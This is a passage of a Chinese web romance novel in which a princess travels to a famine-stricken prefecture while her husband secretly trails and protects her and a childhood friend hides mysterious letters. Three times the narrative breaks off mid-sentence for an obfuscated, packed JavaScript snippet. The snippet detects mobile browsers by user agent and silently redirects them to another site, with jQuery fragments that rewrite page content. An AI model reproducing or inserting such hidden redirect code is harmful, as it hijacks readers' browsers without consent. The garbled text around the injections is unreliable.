姜南洲看出她的焦急,可事已至此,自己亦无办法解决,只能温声安慰。 就在这时,马车的方向却突然爆发出一阵欢呼。 紧接着一个小厮兴高采烈跑过来:“禀公主,马车拖出来了。” “怎么拖出来的?”刚才还陷得死死的,怎么转眼间就出来了。 小厮笑道:“遇到一位好心的壮士,身高八尺有余,力大如牛,一鼓作气便帮小的们拖出来了。” 容与如释重负:“那定要好好感谢人家。” 她一边说着一边快步赶回马车旁,可哪里有壮士的身影。 守在此处的车夫禀告:“那壮士将马车拖出来便走了,任小的们如何挽留都不肯。” 容与疑惑:“那人身形相貌如何?” “他蒙着脸,穿着大帽斗篷,看不清相貌,身形极高,骑了一匹毛色光亮的枣红马,还带着一个同样蒙着面的小厮。” 容与心头不禁一紧,可一时也想不出什么头绪。 正思索间,姜南洲催促:“咱们快些赶路吧,天黑前还能赶到镇上投宿。” 容与点头,方才的思绪也被打断,遂抛到脑后不再多想。 * 因路上耽搁,紧赶慢赶终究还是离镇上差了些距离,只能找了个偏僻的村落投宿。 村子本就简陋,又考虑到身份不便透露,因此只得借宿在一处荒废已久的茅屋里。 “时辰不早了,不必擦了,将就一晚罢了。”看着破旧茅屋里忙碌着的嘉穗、丰禾二人,容与叫住她们。 “您一向最是喜洁,若不是去给荣王殿下收拾烂摊子,又何至于受今日这苦。”丰禾并未停下手上擦洗的动作,只是嘴上不住抱怨。 嘉穗碰了碰她,示意她不要再说了,其实她们心里都清楚,公主坚持要同去庆祥府,荣王只占小部分原因,更重要的是公主想要亲眼看到自己的心血真正落地生根。 她家公主就是这样,平日比谁都讲究、都娇贵,可真的遇见自己潜心想做的事情,便什么苦什么难都能忍下。 床榻上的的灰尘暂且是清扫干净了,主仆三人正打算挤在一起和衣而卧。 只听外面一阵试探的叩门声。 “谁呀?”嘉穗顿时心生警惕,她们此行带的侍卫随从并不算多,如今又身处偏僻村落,若遇上歹人可真是叫天天不应叫地地不灵了。 还好门外响起的是姜南洲的声音:“是我,夜里寒凉,你们公主一向体弱畏寒,我便想着将我那间屋子里的被子也抱过来给你们。” 容与松了口气,但并未开门,只隔着门道:“小洲哥哥拿回去吧,我们三人挤着睡下,倒也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040802|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得冷。” 看着紧闭的房门,姜南洲有些苦涩:“我一个男子总是受得住寒的,还是你的身子更为要紧。” “实在是用不到,天色不早了,小洲哥哥还是快去歇下吧,明早还要早起赶路。” “好吧,那你夜里若是有什么事一定要及时叫我,我就在旁边的屋子里。” “嗯。”只是简短的答应一声,屋中扑朔的油灯便彻底灭了下去,好像生怕他再多说几句。 容与从前从不会如此避嫌的,是她长大了愈发懂事了,还是……与他真的生分了。 还好,如今他回来了,一切都有机会弥补。 * 入夜的寒气愈发猛烈,本就不厚的被子显得更加单薄,即使将随身带着的所有衣物都盖上也无济于事。 “公主,你冷吗?”丰禾冻得牙齿打颤。 可身边的人却一言不发。 嘉穗连忙抚上她的额头,只感觉一阵滚烫:“坏了,不会是发热了吧。” 她家主子身子一向不算健壮,这两日舟车劳顿,又受了寒,更令人忧心。 丰禾急了:“这可怎么办,方才姜公子都将被子拿来了,咱们要了便也罢了,何苦受这个罪?这样烧下去可不行,我去找姜公子想想办法。” “丰禾,姜公子毕竟是外男,这深更半夜的……”嘉穗摇头。 “都什么时候了,还纠结这个,再说姜公子与公主的情分非比寻常,算不上外男。” 容与迷迷糊糊听见二人的争吵,即使虚弱不堪仍出声制止她:“丰禾,听嘉穗的。” 可她话音未落,丰禾便已心急火燎地开门冲了出去。 下一刻,门外传来一声惊喜的呼喊:“天哪!” “怎么了?”不知为何,容与心中总觉得不安。 “门外竟有一堆柴火,足够咱们烧一整晚的了!” 一堆从天而降的柴火?那自然是不可能的,一定是有人悄悄堆在这里的。 不顾身上的酸软,容与竭力撑起身子跌跌撞撞向门外走去。 “公主,外面冷,您快回去吧!”丰禾与嘉穗两人心急如焚。 可容与只是推开她们的阻拦,执意亲自出门去看。果然,门外堆着许多木柴,多得一晚上几乎都用不完。 再仔细看去,只见木柴旁边有一串脚印,很大,很坚实。 容与心里莫名一颤,慌忙沿着脚印的方向抬头看去,这一瞬间,好像有个高大的黑影一闪而过。 她脱口而出:“谁在那里?” 可话音未落,那个黑影就没入一片漆黑的树丛中。树丛晃了晃,紧接着归于平静。 一旁的丰禾素来是个急性子,她索性壮着胆子,直接提着一盏灯笼向黑影消失的地方追去。 “嘉穗,你在这里护好公主,我去探探究竟,片刻便回。” 容与连忙拉住她:“你做什么,这三更半夜的,还是莫去冒险了。” 可事已至此,不弄清个究竟,丰禾又怎么甘心? 她给了容与一个安心的眼神:“公主不必忧心,那树丛又不远,查探清楚也好图个心安。” 见她坚持,容与便也不再阻拦,其实她心中也有一丝隐隐的蹊跷,擦净的石凳、拖出的马车、砍好的柴火,就好像是她需要什么,就会立刻出现什么,这可真是件奇事。 也许是周遭太过静谧,也许是太过担惊受怕,在门前等候着丰禾的主仆二人呼吸愈发急促,半炷香的时间显得从未有过的漫长,直到遥遥看到丰禾返回的身影,二人才不约而同松了口气。 而小跑回来丰禾不仅不怕,面上反而多了几分神秘兮兮的喜色:“你们猜猜谁在那里?” 21. 尾随 “你个小蹄子,莫要卖关子了,赶紧从实招来。” 为她担惊受怕半晌,见丰禾还要顽皮,嘉穗气得作势要打她。 “好姐姐饶了我吧,我说还不行吗。” 她缓了口气,神神秘秘的:“我悄悄跟过去,只见月黑风高、林深叶密……” 嘉穗伸出两指狠狠弹她脑袋:“抓紧直说!” 丰禾撇嘴:“是姜公子!他心里想护着公主,又怕如今天色太晚,有损公主的清誉,便默默做了这许多。” “真的是他?”容与心存疑虑。 “自然是他,奴婢不光看得真真的,还跟他说了一会儿话呢,不会错的。” 方才她蹑手蹑脚跟过去时,正看见披着黑色斗篷的姜南洲,他躲在不远处的树丛后面,手中还攥着一封精致的书信。 丰禾一惊,脑中盘算一番又窃笑起来,这肯定是姜公子打算送给公主的剖白信,思来想去许久还是没勇气递给公主。这样想着,丰禾不禁笑了出声。 察觉到身后有人,姜南洲措手不及,连忙将书信藏进怀里。 丰禾眼尖,哪会看不出他的手忙脚乱,姜公子这样一个光风霁月之人竟还有如此窘迫的时候,这都是因为对自家公主的一片倾慕之心呀,这样一来她更替自家公主脸红了。 可惜呀,短短三年便物是人非,这样好的姻缘,结局却是被一个不解风情的乡野质子截了胡,而情投意合的公子如今只能小心翼翼地谨守边界,将爱意深藏在心底,默默守护。 片刻间,丰禾就脑补出一场爱而不得的心碎大戏。 她越想越替姜南洲不平,更替自家公主可惜。 想到此处,她遂凑到容与面前:“公主,像姜公子这样会疼人的男子可不多,更何况你们青梅竹马,两小无猜,公主真不考虑考虑姜公子?” 嘉穗连忙去捂她的嘴:“你个小蹄子胡说什么,公主已经成亲了,尉少主才是名副其实的驸马。” “哼,公主选谁谁便是驸马,那个尉少主只会惹公主生气,我偏就不认他。” 嘉穗无奈摇头,这丫头的心思也太过简单了,一国公主的婚事从来都不是自己的私事,而是由不得自己做主的国事,既然必将联姻,抓住眼前的尉朔才是最好的选择。 看着她们二人一言不合又要吵起来,容与连忙打断:“行了,就算小洲哥哥多加照拂,也是看在小时的兄妹之情,你们不准多想。” 丰禾也不敢继续放肆,只得憋着满肚子的气蹲下身摆弄方才搬进来的柴火。 待木柴熊熊燃烧,寒冷的简陋茅屋顿时温暖如春,容与觉得自己终于活过来了,周身暖融融的,被冻得麻木的四肢也重新舒展开来。 可看着鲜红的火苗,她仍有些怀疑:“这木柴真是小洲哥哥砍来的吗?” 毕竟姜南洲虽常年与农事打交道,但神农谷的农人不少,与容与一样,许多事情他只管把握大局即可,而无需亲手耕种,因此他的身体也算不得健壮,反而如高门的公子哥一般纤瘦,那么以他的力气,如此多的木柴是怎么一个人砍来的? 丰禾重重点头:“自然,我追问了许久姜公子才承认的,一定是他,毕竟这里还有谁会如此将公主放在心上。” “我还是觉得身形不太像。”她看到的那个黑影分明又高又大。 丰禾大咧咧笑道:“天色这么黑,这周围又这么多树,大抵是公主看错了吧。” 容与思来想去,微微点头,除了丰禾所说的那样,暂时也并无其他解释了。 * 而真正做好事不留名的两人此时正蹲在冷风料峭的林间。 辉山哭丧着脸:“主子,我也冷。” “忍着。” 辉山泫然欲泣:“呜呜呜,主子你偏心,巴巴地砍了一晚上的柴送到公主门口,自己偏要带着我在这受冻。” 尉朔不耐烦地扯下腰间的水囊扔给他:“喏,冷就将就着灌一口。” 糙老爷们儿哪有这么讲究,察泰不知比此地冷上多少倍,他们察泰男子都长了一身糙实耐寒的皮肉,什么样的天气都扛得住。 这才来了京城多久,这小子怎么也学了一身矫情做派,真是丢人现眼。 辉山灌了一口里面的烈酒,辣得龇牙咧嘴:“哼,主子你也忒偏心了,公主难过你就变着花样的哄着,我伤心了你就这么凶巴巴的。” 尉朔眼神奇怪地斜眼瞅他:“我什么时候哄她了?还有,想让我哄你,恶不恶心?” 主子竟说他恶心?辉山心里憋屈,嘴上也不留情面:“公主也是有意思,人家的被子不要,偏偏收下咱们的柴火,难道那姜公子就是精贵的琉璃珠子,生怕碰碎了一点,你就是一堆烂泥,怎么摔打都不心疼。” 听他这话,尉朔心里不禁泛起一股酸意,嘴上却硬气道:“我一个男子汉大丈夫,还要一个娇贵的女子心疼不成?她爱心疼谁就心疼谁,我才不稀罕。” 辉山仍是愤愤不平:“主子,好事你都做尽了,却连个名都不留,也没人记得你的情,你到底打算什么时候露面呀?” 尉朔自嘲撇嘴:“她可不想见到我。” “所以咱们就像做贼一样灰溜溜跟在后面,等到了庆祥再与她们会合?” “不。”尉朔摇头。 看他坚决的样子,辉山终于松了口气,他家主子终于要主动出击了。 “等将她护送到庆祥府,咱们便打道回府。” “什么?”难不成风餐露宿一路,就只是为了当个保镖,还是没俸禄也没落个好的那种? 既然如此,一路上又是擦凳子,又是拖马车,又是砍柴的,究竟是图个什么? 行吧,自从碰上那位清阳公主之后,他家主子是越来越难以捉摸了。 就在这时,身后不远处的树丛里突然发出“咔嚓”一声树枝断裂声。 “谁?”尉朔机警转身,可背后只是一片静悄悄的灌木,并无他物。 辉山嘲弄:“主子,你莫不是以为公主找过来了吧?哼,心里明明巴不得被公主发现,还非要装清高,驸马当到这个份儿上又是何苦呢?” 无端被戳破心思,尉朔有些难堪,方才回头的那一瞬间他脑海中浮现出的确实就是那个女子的身影,而看到身后空无一物后,他的心里也确实有些难以启齿的失落。 看他略有松动,辉山趁热打铁:“主子,方才那断枝就是让你认清自己的心意,此乃天意呀。” 尉朔原本好不容易下定的决心,因为辉山的喋喋不休愈发动摇。 他觉得自己好像被人扒光了,所有连自己都未曾意识到的小心思全都无处遁形,遂气急败坏呵斥道:“闭嘴,再废话我就将你扔进山里喂狼!” 看着自家主子活像只被人踩了尾巴,浑身炸毛的大狼犬,辉山纵然不服也只敢在心里偷偷腹诽:他只是将主子的心思说出来了而已,怎么又成了他的不是?自从当了晟国的女婿,他家主子真是越来越虚伪了。 而就在二人渐行渐远之时,身后那处灌木忽然抖动了两下,不一会儿,一个男子的从中探出头来,而这就是不久前被嘉穗“偶遇”的姜南洲。 他若有所思地将地上燃烧殆尽的信纸埋进土中,接着向主仆二人的背影看去。 他方才听得分明,这二人口中提到了公主、驸马、察泰之类的言语。 这人莫非就是……尉朔?他怎么会出现在这里? 此人虽看起来不拘小节,可若一路上的事情都是他默默所为,那必然也并非传闻中那样粗鄙蛮横、惹人厌恶,怪不得这一路上容与总是有意无意提起他。 思绪间,姜南洲的脸色晦暗不明。 * 一连几日,路途都十分顺畅,别说土匪、野兽了,就连路上的深坑都被先一步填平。 容与百无聊赖地撩起车帘,状若无意地往道旁的灌木丛里打量,可是并未发现什么异样。 她心里闷闷的,不知为何,她总觉得有一束若有似无的目光如影随形。 她放下帘子,转而向姜南洲道谢:“小洲哥哥,这一路上多谢你了。” “谢我?”姜南洲露出些茫然。 “嗯,我听丰禾说了,那些柴火都是你悄悄备好放在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050560|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外的吧,真是麻烦你了。” 姜南洲眼神一闪:“此事……也不必谢我。” 容与只当他谦虚,便未再多言,只在心里默默记下这份人情,打算等忙完庆祥府的事再好好备份谢礼。 大概是看出容与的打算,姜南洲连忙摆手:“你我之间不必如此客套,若真想谢我……” 他顿了顿,指向容与垫在身后的一件深蓝色披风:“这件披风花色甚雅,不如送给我吧,正好此次来得匆忙,也未带厚实的衣裳。 这……容与一愣。 这深蓝色布料便是她特意取出来打算为尉朔做衣裳用的,可那日尉朔拒绝了,她连尺寸都未来得及量,本想就此作罢了,还是嘉穗再三劝谏,她才吩咐绣娘用这料子做了件披风,反正披风这东西与贴身的衣裳不同,尺寸大差不差即可,也无需十分精准。 自披风做好,她便一直与尉朔赌气,披风也被随意扔在马车上,此次出行颠簸,索性放在身后当靠垫用。 “这件披风……要不待回京之后,我找最好的绣娘再重做一件。” 听出她话里的拒绝之意,姜南洲心下发苦,他一早就看出来了,这件披风又长又大,分明是男子的款式,而容与身边的男子……不用想便知是谁。 一个粗野之地的野蛮之人,只与容与相识不过数月而已,凭什么? 他故作释然地苦笑:“也是,这样好的织金绫,穿在我这耕夫身上也是糟蹋了,那就不必了。” 听他这样说,容与不知所措,连忙解释:“我不是这个意思,若说不配,那也是这衣裳配不上你。既然小洲哥哥不嫌弃,那就将它送给你吧。” 姜南洲也不推辞:“那便多谢了。” 正午时分,马车行到一处乡镇略作停歇。 看到姜南洲特意将她送的披风披在身上准备下车,容与犹豫一会儿还是出言提醒:“午间日头大,你穿着它不热吗?” 姜南洲轻咳一声:“也许是这几日体寒,倒觉得刚刚好。” 纵然有些奇怪,容与也没再多说什么,她悄悄打量着这件披风穿在姜南洲身上的样子,心下反而有一丝窃喜。 披风的长度穿在姜南洲身上刚刚好,尉朔那样高,对于他来说肯定短了不少,幸好还没送出去。 而率先下车的姜南洲并不知晓她心中所想,只是在下车的同时刻意拢了拢身上的披风,双眸暗暗瞥向不远处的树丛,露出一丝意味深长的笑意。 * 树丛后。 “主子,你怎么了?”自从那姜公子下车后,自家主子的脸色就阴沉得可怕。 尉朔当然生气,自姜南洲钻出马车的一瞬,他便认出了那人身上的披风布料,这不就是那夜容与捧到自己眼前,打算给自己裁衣裳的料子吗。 当时他一方面想着这料子太过精致贵重,一方面也不好意思让堂堂清阳公主为他亲手量体裁衣,是以一口拒绝了。 早知如此他就收下了!可如今后悔也晚了,那女子亲手做的衣裳已经穿在旁的男人身上了。 “走!”尉朔咬牙勒马,调转马头。 “去哪?” “回京城。” 辉山瞠目:“可是这还没到庆祥府呢,不是说将公主送到庆祥府再回吗?” “送什么送,人家根本不需要我送。” 正在抬手扬起马鞭之际,不远处突然响起一阵骚乱。 尉朔听得分明,可他拼命咬牙忍住,强忍住回头的冲动。 就在这时,骚乱中却突然响起一个再熟悉不过的声音:“尉朔!” 有人唤他?不会的,此处人生地不熟,怎么会有人认出他来,一定是他这几日思虑太重,幻听了。 即使这样安慰自己,尉朔仍忍不住屏息凝神,细细分辨声音的来源。 几息间,他已经确定,这分明是褚容与的声音。 可是她怎么会知道自己跟来了此处,莫非真是幻听了? 即使如此想着,身体也更快一步做出反应,还未等他想明白,□□的骏马已经吃痛,扬蹄向声音来源之处疾驰过去。 22. 现身 尉朔飞驰过去时,却并未看到那个令他牵肠挂肚之人,目力所及之处只有饿红了眼的流民。 几个年轻些的男子挤在前面,手里死死扣着几张白面饼子,连渣滓都抢不到的老弱妇孺只能咽着口水干看,一时间周遭只有抢夺、哭喊、咒骂、厮打声,尘土里弥漫着刺鼻的血腥味…… “褚容与,你在哪?”嘈杂之间,他胸膛里狂跳的声音却异常清晰。 “尉朔,我在这!”熟悉的声音虽混杂在一片叫嚷声中,却还是被尉朔敏锐捕捉到。 即使被层层人群遮挡了视线,他根本无法确定被困在人群中央的究竟是不是他心中所想之人,可他依然毫不犹豫地翻身下马,以高大身材为盾,本能地用力拨开狂乱的人群,向着那个方向奔去。 “砰!”一声,将容与一行人团团围住的流民被尉朔一把推开,几个抢得最为过分的甚至重重磕在地上,鼻子霎时间涌出鲜血。 容与惊呼:“轻点,别伤着他们。” 尉朔这才收回紧握着的拳头,眼神晦暗地擦了擦手背上划出的血痕。 被饥饿压迫到绝境的人们虽已近乎癫狂,但弱肉强食的本能是深深刻进骨子里的,感知到眼前的男子并非自己惹得起的,他们纷纷后退。 趁这个机会,车夫猛地一甩马鞭,一行人才得以从流民的包围中脱身。 直到摆脱了危险,尉朔才有空细细打量眼前这个分别多日之人,而容与也恰好抬头偷觑他,四目相对之下,尉朔虽已耳根发红,却仍目不转睛地看着她。 “你可还好?” 容与点头:“还好,并未被他们伤到。” 尉朔仍是不放心:“此处距离庆祥府的地界已不足百里,这些流民大概就是从那里逃难出来的,死里逃生之后早已是神智全消,你将食物分发给他们固然出于好心,但你可曾想过这亦是将你自己置于危险之地?” 即使这些流民本是善良淳朴的无辜百姓,可如今他们已被逼上了绝路,早已是亡命之徒,在生存的本能面前,一切的人性、善意都不值一提。 容与在他们面前拿出大量食物,无异于小儿抱金砖行于闹市,幸好他及时赶来,虽然粮食、财帛全都被悉数抢去,但还好没有伤到人命,也算是不幸中的万幸。 听他不加掩饰的斥责,容与小声争辩:“我带了随行侍卫。” “呵,就你带的那几个草包,连辆马车都拖不出来,还指望他们保护你?” 他唠叨几句仍嫌不够:“你以后切莫滥发善心,一定记住你自己的安危才是最为要紧的……” 他还在不停絮絮叨叨,容与突然抬头,坦然的双眸就这样直愣愣撞进他写满担忧的瞳孔中。 “我懂,我知道你在。” “什么?”尉朔一时不明白她的意思。 容与仰起头与他对视:“我知道你跟在后面,所以才敢给流民分发干粮。” 经历过三年前那桩无妄之灾后,她又怎会还如从前一样懵懂无知,人性之恶,她比任何人都知道。 更何况对于这些流民来说,亲眼见证了无数至亲活生生饿死,在无数次饥寒交迫中死里逃生,被那些伪善的官员富商一次次戏耍,他们如今只想活着,即使不择手段。 容与知晓自己这样穿着体面地出现在他们面前将会陷入怎样的危险,可是当看到一个瘦骨嶙峋的稚童蜷缩在母亲怀中奄奄一息时,她还是做不到视而不见。 也正因为猜到尉朔一直在身边,知晓身后有人托底,她才能有恃无恐,顺心而为。 看尉朔呆愣的模样,容与勾唇:“无论如何,你可是本宫的驸马,有保护本宫之责,难道还敢袖手旁观不成?” 她的本意是想感谢尉朔出手相助,可心里又不忿他出言不逊的唠叨,出了口就多了几分仗势压人的味道。 见她不将自己的告诫放在心上,尉朔又急又气,没好气地冷冷道:“如今是,说不准哪日就不是了。” 说完还若有所指地瞥了眼干坐在旁边插不上话的姜南洲。 被冷落许久的姜南洲脸色尴尬,不由咳嗽几声。 看到容与投去关切的目光,尉朔阴阳怪气:“险些忘了马车中还有个人,公主不介绍一下这位公子是谁?” “这是小洲哥哥。” “哦,见过小洲哥哥,在下乃是清阳公主的驸马,您可以唤我一声……妹夫。” “咳咳咳!”姜南洲咳得更厉害了。 “尉少主……唤我姜公子就好。” 被直接拒绝,尉朔也不生气,只不动声色地向容与的方向挪了挪,这样一来夫妻二人与姜南洲所坐的位置中间好像隔出了一条分明的天堑。 “既然姜公子是公主的义兄,我与公主夫妻一体,于情于理都该随着公主称呼。” 接着,他又露出一丝不怀好意的笑容:“再说,姜公子看起来年纪也不小了吧,既然年长于我,称呼一声哥哥不为过。” 姜南洲脸色更青,他这话是嘲讽自己老?传言都说这察泰莽夫不善言辞,看来传言也不可尽信呀。 但是骨子里的良好教养让他说不出回怼之言,只能憋着气勉强答应下来:“既然尉少主坚持,那便唤一声姜兄吧。” 尉朔尤嫌不够,正要咄咄逼人,好在马车已在客栈门口停下,容与见状连忙暗暗拽住他的袖口:“好了,时辰不早了,还是先进客栈休息吧。” 她以为自己的动作甚是隐蔽,可落在姜南洲眼中又是一阵刺痛,他遂率起身下车,不再多看身后的二人。 进去之后他们才发现这间客栈是这么多日最好的一间,布置陈设十分讲究,环境更是安静舒适。自然,在这里住上一夜也是价格不菲。 不过容与财大气粗,自然不心疼这点银子,她已经好几日没在又暖又软的床榻上睡一个囫囵觉了,也好几日没能好好沐浴一番,今日好不容易找到条件好些的客栈,即使再贵她也心甘情愿。 谁知掌柜的话给他们浇了一盆冷水:“客官,你们来得有些晚,只剩两间上房了。” 两间?她与尉朔、姜南洲三人怎么分,反正不能赶一个人与仆从一起睡下房吧。 还有一事也令她奇怪:“此处难道未受灾情波及吗,怎么还有如此多的客人住店?” 掌柜挤眉:“这您就不懂了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054519|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,穷的只是普通百姓,对能住我们这客栈的人来说,越乱,赚银子的机会就越多。” 还未等细问,掌柜已招呼小二来引他们上楼去了。 两间上房分属楼梯的两侧,尉朔并未多想,只理所应当地跟在容与身后想去同一侧,可一旁的姜南洲先一步将他拉住。 “尉少主若是不嫌弃,便与我挤一挤吧。” 尉朔不假思索:“嫌弃。” !!? 在场众人皆是呆若木鸡。 这驸马……未免也太直白了吧! 容与连忙狠狠瞪他一眼,转而向姜南洲堆笑赔罪:“他官话说得不清楚,他想说的是:不嫌弃!” 转头的功夫,又借着衣袖遮掩教训起尉朔:“在府中与我口无遮拦也就罢了,在外人面前若是失了礼数,平白让人笑话我清阳公主府的人莽撞无礼。” 外人?清阳公主府的人? 尉朔在心里将这两个词翻来覆去咀嚼了许多遍,面上终于露出些满意的神情。 可一旁的姜南洲可就不那么妙了,他又握拳咳了几声,脸色愈发惨白。 可他仍强撑着拉着想往容与房里钻的那个男人:“既然不嫌弃,那便与我住一间吧。” 尉朔想将他甩开,又怕用力大了,将那只瘦鸡爪子折断,容与又要骂他了。 他愈发不耐烦:“姜兄莫不是有什么特殊的癖好,这么想和大男人挤一起睡。” 此言一出,更是全场哗然,众人都屏息凝神低下头去,就连容与都面色僵硬,眼神乱窜。 姜南洲手指一僵,从尉朔臂膀上滑落下来。 容与连忙打圆场:“他……他是想说,额,想说姜兄奔波一日也累了,就不打扰你歇息了。” 不等尉朔有机会反驳,人已经被容与拽进了房中,隔着细细的门缝,容与急急撂下一句:“小洲哥哥,他就不打扰你了,你赶快回房歇着吧。” 姜南洲本想争辩一句自己不怕打扰,可惜下一瞬门缝就紧紧闭上了。 他对着紧闭的房门无力苦笑,他本没将这个察泰质子放在心上,可如今他却没什么把握了,不是因为尉朔,而是因为容与对他的态度。 他知晓容与真心厌恶一个人是怎样的表现,不是恶语相向,不是针锋相对,而是平静无波、视若不见,对于尉朔,她显然并非如此。 就在姜南洲落寞地转身回房后,他的贴身小厮却忽然蹑手蹑脚跟了进去。 “少谷主,您的密信。” 看清小厮手上的信封后,他浑身一紧,不必看信的内容他也能一眼认出这是谁人寄来的。 他刚才确实是冲动了,竟头脑一热邀请尉朔同住一屋,差点忘记了这几日频繁寄来的密信。 幸好没有任何人察觉到异常。 姜南洲将贴身小厮遣去门外守着,接着抽出袖中刀片,熟练地将信拆开,就着昏暗油灯一目十行看罢,眉头越蹙越紧。 紧接着,他手腕一扬,薄薄的几张信纸便落入油灯之中,瞬间被肆虐的火舌燃为灰烬。 作罢这一切,他又特意取出随身的帕子,将灰烬悉数擦尽才放下心来。 23. 荒唐 另一间客房中。 “你是如何知晓有人跟在后面,有怎么知晓那人是我?”尉朔想了许久还是没有想通,他明明将行踪隐藏得很好,怎么就被轻易发现了呢? 容与上下打量他一眼:“除了你,还有谁有这么大力气独自一人将马车拖出来,谁有这么大力气半个时辰就砍出这么多柴?” 她在夸奖自己?还未等尉朔高兴一会儿,容与的话立刻又给他浇了盆冷水。 “还有谁这么笨,骑着本宫的枣红马就出来了,那可是父皇御赐的,整个大晟只此一匹,都想隐匿行踪了还不知道低调点。” 这话说得尉朔脸黑,他只看那匹马膘肥体壮,为了能快点追上就随便选了它,谁能想到竟还有这来头? 看尉朔沉默不语,容与自觉占了上风,遂叉腰质问:“该你说说了,今日又是发哪门子的疯?” 无需她明说,尉朔也知晓她指的是自己当众让姜南洲下不来台之事。 半月不见,见面的第一个问题既不是问他路上安否,也不是问他可曾吃饱穿暖,而是一开口就为了姜南洲指责他。 他心里气闷,嘴上也懒得藏着掖着,索性直言:“我不喜欢他。” “我就不明白了,小洲哥哥究竟是哪里惹到你了?” 合着她还揣着明白装糊涂,尉朔更气,反过来问她:“你为什么带他来庆祥却不带我?” 只是因为这个原因,难不成……他是吃醋了?这个没心没肺的莽夫竟然也会吃醋! 意识到这个可能,容与惊诧发觉自己不仅不觉厌烦,反而不自觉地心情大好。 她故意拿乔:“人家可是主动要求同行的,你又没同我说过,我还以为你懒得来呢。” 尉朔更气:“你都没同我提起过要来庆祥府,要不是我多嘴问了小厮一句,恐怕如今还蒙在鼓里。” “所以你就自己跟过来了?”容与未加思索便脱口而出。 问出口后她才蓦然惊觉,她竟开始在意起这个男子的想法了,可她明明应该嫌弃他、将他当作一个可有可无的摆设。 这一路上明明远离京城,还有姜南洲相伴在侧,可她总是时不时想到那个“留守”公主府的男人,纵使她刻意避开一切有关他的话题,也不许姜南洲提起,可越是如此,那个身影就越是清晰,以至于当种种奇事发生时,她第一时间就想到了他。 坐在马车上发呆时,容与也曾仔细想过这究竟是为什么?短短一个多月的时间,一切就都与她逢场作戏,等待时机抓紧和离的初衷背道而驰。明明一个月前她对那个男人还是满心厌恶,满腹怨怼的。 也许是因为他的质朴直率与周围的任何人都格格不入?也许是因为他春耕礼时的挺身而出?也许是因为多次危难时刻的出手相救? 更何况当看到那个身影拨开重重发狂的流民,迈着无比坚定的步伐向自己走来时,她无法否认心中的那一抹窃喜。 无论是何原因,她都无法否认,这个男子在她心里已经有所不同,虽然她眼下还无法辨明这究竟是一种怎样的感情。 虽然念着离府前那晚与尉朔的龃龉,容与心中仍有些别扭,可既然话已经说到这个份上,她还是选择不再回避。见尉朔耳根已经一片绯红,却仍没有接茬的意思,她索性说得更加直白。 她使劲绞住袖中丝帕,鼓足勇气问出口:“是因为害怕学不到农桑技艺了,还是……不想与我分开?” 她目不转睛地盯着男子紧闭的薄唇,明明只是等一个寻常的回答,心却跳得比召他侍寝那晚还要忐忑。 “是……”尉朔习惯性地想回答是前者,毕竟无论是对容与、辉山,还是对自己,他始终坚持这个“真理”。他是察泰少主,为察泰的存亡进京为质,一举一动也理应全部为了察泰的利益,不能掺杂半点私心。 可脱口而出的一瞬间,他第一次犹豫了。 心中唯一信条竟破天荒地出现松动,他迷茫了。 “我不知道。”他如实回答。 听到这个答案的一瞬间,容与反而松了口气,就连她自己都还未想清楚,自己究竟期盼怎样的答案。 她躺在床上,向里侧身:“时辰不早了,我要睡了。” 来日方长,他们既然已经被一封圣旨绑在一起了,便有一辈子可以好好想清楚这个问题。而眼下真正棘手的是庆祥府的饥荒,今日离庆祥府尚有百里便碰到数不胜数的饿殍,庆祥府的灾情恐怕比她预想的还要严重。 而屋外,眼睁睁看着屋里灯光熄灭的辉山叹了口气,将耳朵从门上移开:哎,他家主子究竟是怎么了,对上姜公子时能做到有话直说,对上公主就偃旗息鼓了。 主子对公主有多么不同,他辉山能看出来,公主能看出来,偏偏主子自己看不出来。 * 翌日天还未亮,一行人就马不停蹄向庆祥府奔去,终于在天黑前赶到府衙。 大概是因为没有各地官员觐见、应酬的琐事,他们比褚炆宗一行还要提前一日抵达。 “哥哥在哪?”见迎出来的便是不久前去别院求助的两个年轻男子,容与无暇与他们寒暄,径直闯入府衙寻找褚炆卓的身影。 为首的男子行礼道:“回禀公主,您怕是有所不知,这府衙布置太过简陋,又总有许多不长眼的贱民前来申冤,王爷恐被惊扰到,遂在别处另寻了座私邸小住。” “立刻带我去见他!” 她这个兄长一向不着调,在京城时有母妃时刻耳提面命还不至于太过出格,如今来了庆祥府,山高皇帝远,他也就彻底暴露本性了。 果然,当容与匆匆赶去那座雕梁画栋、朱墙碧瓦的私邸时,褚炆卓正醉眼迷离地斜躺在暖阁的软榻之上,手边的紫檀条几上摆着小火慢煨的琥珀色酒水,堂下歌舞升平,暖香浮动。 